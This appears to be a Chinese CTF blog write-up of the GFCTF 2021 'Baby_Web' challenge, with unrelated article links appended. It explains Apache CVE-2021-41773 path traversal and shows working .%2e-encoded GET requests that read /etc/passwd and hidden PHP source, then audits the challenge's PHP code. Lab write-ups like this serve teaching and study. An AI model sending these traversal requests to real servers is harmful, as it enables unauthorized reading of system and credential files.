[GFCTF 2021]Baby_Web

拿源码环节:

打开环境(◡ᴗ◡✿)

乍一看什么都没有,F12下没看到js文件,但是看到了出题师傅的提示:“源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?”

这时候在思考文件在上层目录中,既然是目录下那就试一下dirsearch扫描先看看后台都有什么(这里就直接展示一下扫描结果,收到了一部分新师傅的私信说之前的题解虽然讲了在那些题目下Kali,bp的使用方法但是没说具体的,后边会单独出教程的T-T这里就不多说了)

这里出现了几个很重要的关键词“cgi-bin”“.%2e”想到了之前偶然间看到的两篇博客:“CVE-2021-41773--Jay 17”“Apache httpd CVE-2021-41773 漏洞分析”简单来说就是:在 Apache HTTP Server 2.4.49 版本中,在对用户发送的请求中的路径参数进行规范化时, ap_normalize_path()函数会对路径参数先进行 url 解码,然后判断是否存在 ../路径穿越符。结果就是如果路径中存在 %2e./形式,程序就会检测到路径穿越符。然而,当出现 .%2e 或 %2e%2e/ 形式,程序就不会将其检测为路径穿越符。那么就可以活用到这道题目。

打开BP,本地环境修改以后刷新网页进行抓包(ρ_・).。:

在发包界面点击Repeater,进入可修改发包界面,在url栏修改代码然后发包:

  1. GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

代码形式参考kali扫描结果!^_~

修改成下图:

  1. GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

可以看到已经可以有目录了,那么开始想既然当前目录是/var/www/html,那上层就是/var/www/想起来刚才说源码在xxx.php.txt那应该有最原始的index吧?O.o,先做尝试?

  1. GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/index.php.txt HTTP/1.1

有了!ヾ(^▽^*))) index.php长这样!

  1. <?php
  2. error_reporting(0);
  3. define("main","main");
  4. include "Class.php";
  5. $temp = new Temp($_POST);
  6. $temp->display($_GET['filename']);
  7. ?>

看了一下源码!Class.php?好啊,看来同目录下还有个这个那直接找一下,刚才的文件叫“xxx.php.txt”这个也一样喽?

  1. GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/Class.php.txt HTTP/1.1

Class.php长这样!

  1. <?php
  2. defined('main') or die("no!!");
  3. Class Temp{
  4. private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
  5. private $template;
  6. public function __construct($data){
  7. $this->date = array_merge($this->date,$data);
  8. }
  9. public function getTempName($template,$dir){
  10. if($dir === 'admin'){
  11. $this->template = str_replace('..','','./template/admin/'.$template);
  12. if(!is_file($this->template)){
  13. die("no!!");
  14. }
  15. }
  16. else{
  17. $this->template = './template/index.html';
  18. }
  19. }
  20. public function display($template,$space=''){
  21. extract($this->date);
  22. $this->getTempName($template,$space);
  23. include($this->template);
  24. }
  25. public function listdata($_params){
  26. $system = [
  27. 'db' => '',
  28. 'app' => '',
  29. 'num' => '',
  30. 'sum' => '',
  31. 'form' => '',
  32. 'page' => '',
  33. 'site' => '',
  34. 'flag' => '',
  35. 'not_flag' => '',
  36. 'show_flag' => '',
  37. 'more' => '',
  38. 'catid' => '',
  39. 'field' => '',
  40. 'order' => '',
  41. 'space' => '',
  42. 'table' => '',
  43. 'table_site' => '',
  44. 'total' => '',
  45. 'join' => '',
  46. 'on' => '',
  47. 'action' => '',
  48. 'return' => '',
  49. 'sbpage' => '',
  50. 'module' => '',
  51. 'urlrule' => '',
  52. 'pagesize' => '',
  53. 'pagefile' => '',
  54. ];
  55. $param = $where = [];
  56. $_params = trim($_params);
  57. $params = explode(' ', $_params);
  58. if (in_array($params[0], ['list','function'])) {
  59. $params[0] = 'action='.$params[0];
  60. }
  61. foreach ($params as $t) {
  62. $var = substr($t, 0, strpos($t, '='));
  63. $val = substr($t, strpos($t, '=') + 1);
  64. if (!$var) {
  65. continue;
  66. }
  67. if (isset($system[$var])) {
  68. $system[$var] = $val;
  69. } else {
  70. $param[$var] = $val;
  71. }
  72. }
  73. // action
  74. switch ($system['action']) {
  75. case 'function':
  76. if (!isset($param['name'])) {
  77. return 'hacker!!';
  78. } elseif (!function_exists($param['name'])) {
  79. return 'hacker!!';
  80. }
  81. $force = $param['force'];
  82. if (!$force) {
  83. $p = [];
  84. foreach ($param as $var => $t) {
  85. if (strpos($var, 'param') === 0) {
  86. $n = intval(substr($var, 5));
  87. $p[$n] = $t;
  88. }
  89. }
  90. if ($p) {
  91. $rt = call_user_func_array($param['name'], $p);
  92. } else {
  93. $rt = call_user_func($param['name']);
  94. }
  95. return $rt;
  96. }else{
  97. return null;
  98. }
  99. case 'list':
  100. return json_encode($this->date);
  101. }
  102. return null;
  103. }
  104. }

我了个豆T.T,这么长啊打开Vscode建在一个工程下

开始审计代码。。。┭┮﹏┭┮

index.php

先分析一下

首先,这里调用了Temp作为类,并构造方式传参,传参方式是POST。然后调用了Temp中Display作为方式传,Get形式提交filename

代码放这里对照看一下

Class.php

1.先看一下“temp”类吧:

  1. private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
  2. private $template;
  3. public function __construct($data){
  4. $this->date = array_merge($this->date,$data);

可以看到用了array_merge()函数,简单介绍一下吧:array_merge()出现时,则合并一个或多个数组.合并后参数2数组的内容附加在参数1之后。同时如果参数1、2数组中有相同的字符串键名则合并后为参数2数组中对应键的值,发生了覆盖。(造成变量覆)盖然而,如果数组包含数字键名,后面的值将不会覆盖原来的值,而是附加到后面。如果只给了一个数组并且该数组是数字索引的,则键名会以连续方式重新索引。

这里附上php手册上的例子:

2.往下分析display:

  1. public function display($template,$space=''){
  2. extract($this->date);
  3. $this->getTempName($template,$space);
  4. include($this->template);

可以看出来有两个魔术方法分别是“extract()”以及“include()”那么直接查手册得到这两个方法含义:

extract():从数组中将变量导入到当前的符号表。

include():包含一个文件。

3.再看getTempName():

  1. public function getTempName($template,$dir){
  2. if($dir === 'admin'){
  3. $this->template = str_replace('..','','./template/admin/'.$template);
  4. if(!is_file($this->template)){
  5. die("no!!");
  6. }
  7. }
  8. else{
  9. $this->template = './template/index.html';
  10. }
  11. }

可以看到句子意思是:如果传入getTempName()中形参dir是admin,那么就对template的属性:

  1. $this->template

进行一个拼接,拼接过程为属性,同时进行替换过滤。过滤内容为:

  1. '..','','./template/admin/'

其中

is_file()用于检查是否是文件。

4.最后检查一下listdata():

  1. public function listdata($_params){
  2. $system = [
  3. 'db' => '',
  4. 'app' => '',
  5. 'num' => '',
  6. 'sum' => '',
  7. 'form' => '',
  8. 'page' => '',
  9. 'site' => '',
  10. 'flag' => '',
  11. 'not_flag' => '',
  12. 'show_flag' => '',
  13. 'more' => '',
  14. 'catid' => '',
  15. 'field' => '',
  16. 'order' => '',
  17. 'space' => '',
  18. 'table' => '',
  19. 'table_site' => '',
  20. 'total' => '',
  21. 'join' => '',
  22. 'on' => '',
  23. 'action' => '',
  24. 'return' => '',
  25. 'sbpage' => '',
  26. 'module' => '',
  27. 'urlrule' => '',
  28. 'pagesize' => '',
  29. 'pagefile' => '',
  30. ];
  31. $param = $where = [];
  32. $_params = trim($_params);
  33. $params = explode(' ', $_params);
  34. if (in_array($params[0], ['list','function'])) {
  35. $params[0] = 'action='.$params[0];
  36. }
  37. foreach ($params as $t) {
  38. $var = substr($t, 0, strpos($t, '='));
  39. $val = substr($t, strpos($t, '=') + 1);
  40. if (!$var) {
  41. continue;
  42. }
  43. if (isset($system[$var])) {
  44. $system[$var] = $val;
  45. } else {
  46. $param[$var] = $val;
  47. }
  48. }
  49. // action
  50. switch ($system['action']) {
  51. case 'function':
  52. if (!isset($param['name'])) {
  53. return 'hacker!!';
  54. } elseif (!function_exists($param['name'])) {
  55. return 'hacker!!';
  56. }
  57. $force = $param['force'];
  58. if (!$force) {
  59. $p = [];
  60. foreach ($param as $var => $t) {
  61. if (strpos($var, 'param') === 0) {
  62. $n = intval(substr($var, 5));
  63. $p[$n] = $t;
  64. }
  65. }
  66. if ($p) {
  67. $rt = call_user_func_array($param['name'], $p);
  68. } else {
  69. $rt = call_user_func($param['name']);
  70. }
  71. return $rt;
  72. }else{
  73. return null;
  74. }
  75. case 'list':
  76. return json_encode($this->date);
  77. }
  78. return null;
  79. }
  80. }

trim():去除字符串首尾处的空白字符。
in_array():检查数组中是否存在某个值。

foreach():遍历给定的数组。

strpos():查找字符串首次出现的位置

function_exists():如果给定的函数已经被定义就返回“ture”

intval():获取变量的整数值

call_user_func_array():call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数

call_user_func():第一个参数是被调用的回调函数,其余参数是回调函数的参数。

json_encode():进行json格式的加密

explode():根据指定的分隔符将一个字符串拆分为一个数组的子字符串。比如说原来$ _ params=“1 2 3 E”,explode处理后为$params=[“1”,“2”,“3”,“E”]

[GFCTF 2021]web部分题解(更新中ing)的更多相关文章

  1. spring web 脚手架 (持续更新中...)

    spring web 脚手架 项目地址: https://github.com/MengW9/scafflod.git 还有觉得哪些可以加上去的配置,欢迎各位拍砖,我会持续更新,大家共同进步 一个通用 ...

  2. [原创]标记下Kendo使用中的问题, 持续更新中ing.....

    使用kendo UI 遇到的问题: 1. Kendo DropdownList 加载完毕后, 显示 [object object]的问题: 解决: 尝试了添加dataTextField.dataVal ...

  3. LeetCode All in One题解汇总(持续更新中...)

    突然很想刷刷题,LeetCode是一个不错的选择,忽略了输入输出,更好的突出了算法,省去了不少时间. dalao们发现了任何错误,或是代码无法通过,或是有更好的解法,或是有任何疑问和建议的话,可以在对 ...

  4. PTA|团体程序设计天梯赛-练习题目题解锦集(C/C++)(持续更新中……)

    PTA|团体程序设计天梯赛-练习题目题解锦集(持续更新中) 实现语言:C/C++:      欢迎各位看官交流讨论.指导题解错误:或者分享更快的方法!! 题目链接:https://pintia.cn/ ...

  5. 【前端】Util.js-ES6实现的常用100多个javaScript简短函数封装合集(持续更新中)

    Util.js (持续更新中...) 项目地址: https://github.com/dragonir/Util.js 项目描述 Util.js 是对常用函数的封装,方便在实际项目中使用,主要内容包 ...

  6. java视频教程 Java自学视频整理(持续更新中...)

    视频教程,马士兵java视频教程,java视频 1.Java基础视频 <张孝祥JAVA视频教程>完整版[RMVB](东西网) 历经5年锤炼(史上最适合初学者入门的Java基础视频)(传智播 ...

  7. (转) Web 建站技术中,HTML、HTML5、XHTML、CSS、SQL、JavaScript、PHP、ASP.NET、Web Services 是什么?

    Web 建站技术中,HTML.HTML5.XHTML.CSS.SQL.JavaScript.PHP.ASP.NET.Web Services 是什么? 建站有很多技术,如 HTML.HTML5.XHT ...

  8. 《WCF技术剖析》博文系列汇总[持续更新中]

    原文:<WCF技术剖析>博文系列汇总[持续更新中] 近半年以来,一直忙于我的第一本WCF专著<WCF技术剖析(卷1)>的写作,一直无暇管理自己的Blog.在<WCF技术剖 ...

  9. 第一章:大数据 の Linux 基础 [更新中]

    本课主题 Linux 休系结构图 Linux 系统启动的顺序 Linux 查看内存和 CPU 指令 环境变量加载顺序 Linux 内存结构 Linux 休系结构图 Linux 大致分为三个层次,第一层 ...

  10. 中国.NET:各地微软技术俱乐部汇总(持续更新中...)

    中国.NET:各地微软技术俱乐部汇总(持续更新中...)   本文是转载文,源地址: https://www.cnblogs.com/panchun/p/JLBList.html by ​史记微软. ...

随机推荐

  1. 探秘C#中的秘密通道:五种引人注目的方法调用内部或私有方法

    在 C# 中,可以使用不同的方法调用内部或私有方法.下面分别介绍通过反射.MethodInfo.CreateDelegate.表达式(树).动态方法(call).动态方法(calli)这五种方法. 1 ...

  2. C++ Qt开发:ToolBar与MenuBar菜单组件

    Qt 是一个跨平台C++图形界面开发库,利用Qt可以快速开发跨平台窗体应用程序,在Qt中我们可以通过拖拽的方式将不同组件放到指定的位置,实现图形化开发极大的方便了开发效率,本章将重点介绍ToolBar ...

  3. 如何为项目配置opencv

    如何为项目配置opencv 13/100 发布文章 public669 未选择任何文件 new 配置: 包含目录: D:\OpenCV\opencv\build\include D:\OpenCV\o ...

  4. DFS遍历图(链式邻接表实现)

    1 #include<iostream> 2 #include<string.h> 3 #include<stdlib.h> 4 #include<stdio ...

  5. Java多线程学习(Day01)

    目录 线程简介 线程实现(重点) 线程状态 线程同步(重点) 线程通信问题 进程与线程概念 --来自百度百科的解释: 进程(Process)是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资 ...

  6. 我的大数据之路 - 基于HANA构建实时方案的历程

    产品内部前期有一个共识,依据业务要求的时效性来选择技术平台,即: 实时类业务,时效性小于2小时,则使用HANA构建. 离线类业务,时效性大于2小时,则使用大数据平台构建. 经过五月.六月两月的努力,离 ...

  7. Windows下使用图形化的Havoc C2

    Windows下使用图形化的Havoc C2 前言 这几天用goland去连虚拟机去coding真的心累,想着搞个wsl算了虽然测试又变麻烦了(wsl2和VMware一起开有问题,可能保存不了快照), ...

  8. Hystrix:Spring Cloud服务熔断与降级组件

    Hystrix:Spring Cloud服务熔断与降级组件 问题总结 熔断器? Spring Cloud Hystrix? Hystrix服务降级? 全局降级方法? 解耦降级逻辑? Hystrix服务 ...

  9. Log4j2 漏洞复现GetShell

    目录: 一.搭建环境 1. 首先拉一个docker镜像 2. 然后启动环境 二.获取shell 首先,试验一下DNSLog 1. 准备JNDI注入工具 下载 进入目录打包成jar包 2. 利用 生成p ...

  10. pwd详解

    linux下pwd 命令详解 Linux中用 pwd 命令来查看"当前工作目录"的完整路径. 简单得说,每当你在终端进行操作时,你都会有一个当前工作目录. 在不太确定当前位置时,就 ...